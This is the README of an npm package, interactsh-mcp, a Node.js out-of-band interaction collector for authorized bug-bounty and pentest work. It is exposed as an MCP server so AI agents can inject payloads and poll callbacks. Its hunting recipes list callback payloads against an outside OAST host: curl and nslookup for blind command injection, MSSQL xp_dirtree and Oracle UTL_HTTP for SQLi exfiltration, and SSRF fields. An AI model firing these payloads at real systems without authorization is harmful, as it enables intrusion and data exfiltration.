interactsh
by bytes-Knight
README.md
<div align="center">
<img src="https://readme-typing-svg.demolab.com?font=JetBrains+Mono&weight=700&size=32&pause=900&color=22D3EE¢er=true&vCenter=true&width=780&height=90&lines=interactsh-mcp;Out-of-Band+interactions%2C+zero+binaries;Native+Interactsh+client+for+Node.js;MCP+server+%2B+hackable+CLI" alt="interactsh-mcp" />
**Out-of-Band (OOB) interaction collector for bug-bounty hunting and authorized pentesting.**
A **native Node.js** implementation of the [ProjectDiscovery Interactsh](https://github.com/projectdiscovery/interactsh) client protocol β exposed as an **MCP server** for AI agents and a tiny **background-monitor CLI**.
**No Go binary. Zero npm dependencies. Just Node β₯ 16.**
[](https://www.npmjs.com/package/@bytesknight86/interactsh-mcp)
[](https://www.npmjs.com/package/@bytesknight86/interactsh-mcp)
[](LICENSE.md)
[](#-requirements)
[](#-why-this-exists)
[](#-use-as-an-mcp-server)
[](#-requirements)
[β‘ Quick start](#-quick-start) Β· [π§ MCP tools](#-mcp-tools) Β· [π» CLI](#-cli) Β· [ποΈ How it works](#οΈ-how-it-works) Β· [π― Recipes](#-hunting-recipes) Β· [π©Ί Troubleshooting](#-troubleshooting) Β· [β FAQ](#-faq)
</div>
---
> [!NOTE]
> For **authorized** security testing only β bug-bounty programs, your own assets, and engagements you have written permission to perform. See [DISCLOSURE](DISCLOSURE).
## β¨ Highlights
| | |
|---|---|
| π§© **MCP-native** | Drop it into Claude Code, Cursor, Windsurf, Freebuff, or any MCP client and let the agent fire payloads and read the callbacks itself. |
| π¦ **Zero dependencies** | Pure Node.js `crypto`/`http`/`https`. No `interactsh-client` binary to ship, pin, or hunt down. |
| π **Real protocol, not scraping** | Implements register/poll, RSA-OAEP-SHA256 key wrap, AES-256-CTR payloads, xid correlation-ids and z-base-32 nonces exactly as the Go reference. |
| π **Stable domain** | Identity persists in `~/.interactsh-mcp`. Stop/start keeps the same domain; rotate only when you ask. |
| β‘ **Fast, shared polling** | A background daemon polls every 4 s; the CLI and MCP server read the **same** evidence file. |
| π°οΈ **Server failover** | Registers against `oast.pro β oast.live β oast.site β oast.me β oast.fun β oast.online`. |
| π©Ή **Self-healing state** | Auto-rotates on eviction, and survives a locked state file by falling back to `*.state.*` names. |
## β‘ Quick start
```bash
npm install -g @bytesknight86/interactsh-mcp
```
<details open>
<summary><b>π§ Use as an MCP server</b> (recommended β let the agent hunt)</summary>
Add this to your MCP client config:
```json
{
"mcpServers": {
"interactsh": { "command": "interactsh-mcp", "args": ["stdio"] }
}
}
```
Then just talk to your agent:
> **You:** *Use the interactsh tools to start a session and give me an OOB URL for this SSRF.*
>
> **Agent:** calls `oob_url` β injects the host β waits β calls `oob_poll` β reports the callback IP, headers and body.
</details>
<details>
<summary><b>π» Use the CLI</b> (shell loops, scripts, no client needed)</summary>
```bash
interactsh-mcp --start # background collector β prints your OOB domain
interactsh-mcp --url 3 # 3 unique payload hosts, one per injection point
# β inject one of them (SSRF / RCE / XXE / log poisoning β¦)
sleep 6
interactsh-mcp --http # the raw requests that came back (IP + full request)
```
One-liner self-test (fires a DNS + HTTP trigger and prints the captures):
```bash
interactsh-mcp --probe 2
```
</details>
### π¬ 60-second demo
```console
$ interactsh-mcp --start
OOB domain: d72gomcpeqooj0thlc6m.oast.pro
(collector running in background, pid 17992)
$ interactsh-mcp --url 1
https://d72gomcpeqooj0thlc6mmpantcbpcknha.oast.pro http://d72gomcpeqooj0thlc6mmpantcbpcknha.oast.pro
# β¦inject it wherever the target will fetch a URL, then:
$ interactsh-mcp --http
ββββββββββββββββββββββββββββββββββββββββββββ
protocol: http
time: 2026-10-17T16:13:41.596Z
id: d72gomcpeqooj0thlc6mmpantcbpcknha
remote: 146.70.29.197
request: GET / HTTP/2.0
Host: d72gomcpeqooj0thlc6mmpantcbpcknha.oast.pro
User-Agent: curl/8.5.0
response: HTTP/1.1 200 OK
```
## π§ MCP tools
| Tool | Arguments | Returns |
|---|---|---|
| `oob_status` | β | domain, registration/polling health, interaction count, write errors |
| `oob_domain` | β | `{ domain }` |
| `oob_url` | `n` (1β20), `marker?` | N unique payload hosts + `http`/`https` URLs |
| `oob_poll` | `since?`, `caller?` | new interactions since a cursor; `caller` persists the cursor |
| `oob_dump` | β | every interaction ever captured |
| `oob_reset` | β | drop the session and register a **fresh** domain |
<details>
<summary><b>Typical agent flow</b></summary>
```text
oob_url { n: 3, marker: "ssrf_image_import" }
β 3 hosts, one per injection point
# agent injects + waits ~6s
oob_poll { caller: "ssrf_image_import" }
β { cursor: 42, count: 1, interactions: [ { protocol: "http", remote-address: "β¦", raw-request: "GET /β¦" } ] }
```
`caller` keeps a per-hunt cursor so repeated polls never re-report old hits.
</details>
## π» CLI
```
interactsh-mcp --help show help
interactsh-mcp --start start the background collector, print the domain, return
interactsh-mcp --domain show the active domain + collector status
interactsh-mcp --url [N] print N unique OOB payload URLs to inject
interactsh-mcp --http [N] show the last N interactions (DNS + HTTP + SMTP/LDAPβ¦)
interactsh-mcp --probe [N] self-test: payload β DNS + HTTP trigger β wait β show captures
interactsh-mcp --restart drop the session β FRESH domain
interactsh-mcp --stop stop the collector (clears history; add --keep-logs to keep it)
interactsh-mcp --json machine-readable status
interactsh-mcp stdio run as an MCP server on stdio
```
Every entry point (`interactsh-mcp`, `interactsh-mcp.cmd`, `launcher.js`, `server.js`) funnels into the same implementation and the same data directory β so the MCP tools and the CLI always see the same evidence.
## ποΈ How it works
```mermaid
flowchart LR
subgraph TARGET["π― Target you're testing"]
A["SSRF Β· blind RCE Β· XXE<br/>log poisoning Β· SQLi exfil"]
end
subgraph OAST["π°οΈ Interactsh OAST servers"]
S["oast.pro Β· oast.live Β· oast.site<br/>register / poll Β· DNS Β· HTTP Β· SMTP Β· LDAP"]
end
subgraph LOCAL["π» Your machine (Node β₯ 16)"]
D["lib/daemon.js<br/>poller Β· every 4s"]
M["lib/mcp-server.js<br/>MCP over stdio"]
C["bin/cli.js<br/>interactsh-mcp"]
ST[("~/.interactsh-mcp/<br/>shared state")]
LLM["π€ AI agent / MCP client"]
end
A -- "resolves / fetches the payload host" --> S
D -- "poll (AES-256-CTR)" --> S
M -- "poll" --> S
S -- "encrypted interactions" --> D
D --> ST
M --> ST
C --> ST
LLM <--> M
```
<details>
<summary><b>Payload anatomy</b> β the one rule that matters</summary>
The server attributes an interaction **only** when a **single 33-char label** is present in the host β 20 chars of *correlation-id* (xid alphabet) followed by 13 chars of *nonce* (z-base-32):
```text
20 chars (xid) 13 chars (z-base-32)
ββββββββββββββββββββ βββββββββββββββββββββ
d72gomcpeqooj0thlc6m mpantcbpcknha . oast.pro
βββββββββββ correlation-id βββββββββββ ββ OAST server
+ nonce β 33-char single label
```
- β
`http://d72gomcpeqooj0thlc6mmpantcbpcknha.oast.pro/`
- β `http://some/path.d72gomcpeqooj0thlc6m.oast.pro/` β the bare domain is **never** attributed.
Always take hosts from `--url` / `oob_url`; never hand-roll them.
</details>
<details>
<summary><b>State & data directory</b> (<code>$INTERACTSH_MCP_HOME</code> or <code>~/.interactsh-mcp</code>)</summary>
| File | Purpose |
|---|---|
| `session.json` | identity: correlation-id, secret-key, RSA keys (domain survives restarts) |
| `interactions.jsonl` | every captured interaction (raw HTTP request/response, DNS, SMTP, LDAPβ¦) |
| `domain.txt` | current payload domain |
| `status.json` | collector status (pid, health, counters) |
| `cursors.json` | per-`caller` `oob_poll` cursors |
| `client_lines.log` | register / poll / eviction events |
If an OS security agent locks one of these names, the store transparently falls back to a `*.state.*` name and reports it as `fs_write_error` β it never silently drops your session.
</details>
## π― Hunting recipes
<details>
<summary><b>SSRF</b> β server-side request forgery</summary>
Inject a payload URL into any field the server will fetch, then `interactsh-mcp --http`:
```bash
interactsh-mcp --url 1
# β https://<payload-host>
```
```json
{ "image_url": "https://<payload-host>/", "webhook": "https://<payload-host>/cb" }
```
A callback (with the `User-Agent` / headers of the fetcher) proves outbound reachability.
</details>
<details>
<summary><b>Blind RCE / command injection</b></summary>
```bash
interactsh-mcp --url 1
# β <payload-host>
```
```bash
curl http://<payload-host>/
nslookup <payload-host>
ping -c1 <payload-host>
```
</details>
<details>
<summary><b>XXE</b> β XML external entity</summary>
Declare an external entity whose `SYSTEM` identifier is one of your payload URLs, then reference that entity in the document body. A vulnerable parser resolves it server-side and you get the callback.
```xml
<!-- external entity: SYSTEM id = an oob_url payload Β· referenced in the body -->
```
</details>
<details>
<summary><b>Blind SQLi exfiltration</b></summary>
```sql
-- MSSQL
EXEC master..xp_dirtree '\\<payload-host>\x';
-- Oracle
SELECT UTL_HTTP.REQUEST('http://<payload-host>/') FROM dual;
```
</details>
<details>
<summary><b>Header / log poisoning & provenance</b></summary>
Give each injection point its **own** host (via `oob_url { n, marker }`) and the callback tells you exactly which sink ingested and fetched it β including the proxy/hostname it came from.
</details>
## π©Ί Troubleshooting
<details>
<summary><b><code>--http</code> prints nothing / βno interactions yetβ</b></summary>
1. Make sure you hit a **33-char payload host**, not the bare domain (see *Payload anatomy*).
2. Check the collector: `interactsh-mcp --domain` β `domain`, `last_error`, `fs_write_error`.
3. Self-test the whole path: `interactsh-mcp --probe 1`.
</details>
<details>
<summary><b><code>fs_write_error: β¦ is reserved on disk; using β¦</code></b></summary>
A Windows security agent (observed with Bitdefender's RedLine ransomware-remediation module) can **reserve a filename** after it is deleted, so it can't be recreated. The store falls back to `session.state.json` / `domain.state.txt` and keeps running. To clear the reservation, add an AV exclusion for the data directory or reboot.
</details>
<details>
<summary><b>Domain changed / callbacks stopped</b></summary>
The identity lives in `session.json`. If the session is evicted (two consecutive poll 401s) the daemon auto-rotates. `--stop` / `--restart` clear history by default β use `--keep-logs` to preserve evidence across them.
</details>
## β FAQ
<details><summary><b>Do I need the Go <code>interactsh-client</code>?</b></summary>No. Everything is implemented in Node.js, using only the standard library.</details>
<details><summary><b>Does this work offline / on a private server?</b></summary>It talks to the public OAST servers by default. Self-hosted Interactsh support is a natural next step.</details>
<details><summary><b>Can the MCP and the CLI run at the same time?</b></summary>Yes β they share one data directory. Start the background daemon for 24/7 capture; the MCP reads the same `interactions.jsonl`.</details>
<details><summary><b>Which protocols are captured?</b></summary>Whatever the Interactsh server records: DNS, HTTP, SMTP, LDAP, and more β surfaced verbatim in `interactions.jsonl`.</details>
## π§± Requirements
- Node.js **β₯ 16**
- Windows / Linux / macOS
- Outbound HTTPS to an OAST server (falls back to plain HTTP if needed)
## π€ Contributing
Issues and PRs are welcome. Run the local battery before opening a PR:
```bash
node mcp_test.js # MCP stdio battery (11/11 expected)
node test_suite.js # end-to-end DNS + HTTP round-trip suite
```
## π License
[MIT](LICENSE.md) Β© 2026
<div align="center">
<sub>Built for hunters who want callbacks, not ceremonies.</sub>
[](https://star-history.com/#bytes-Knight/interactsh-mcp&Date)
</div>
This server cannot be deployed
Maintenance
ActivityMaintained
ResponsivenessNo issues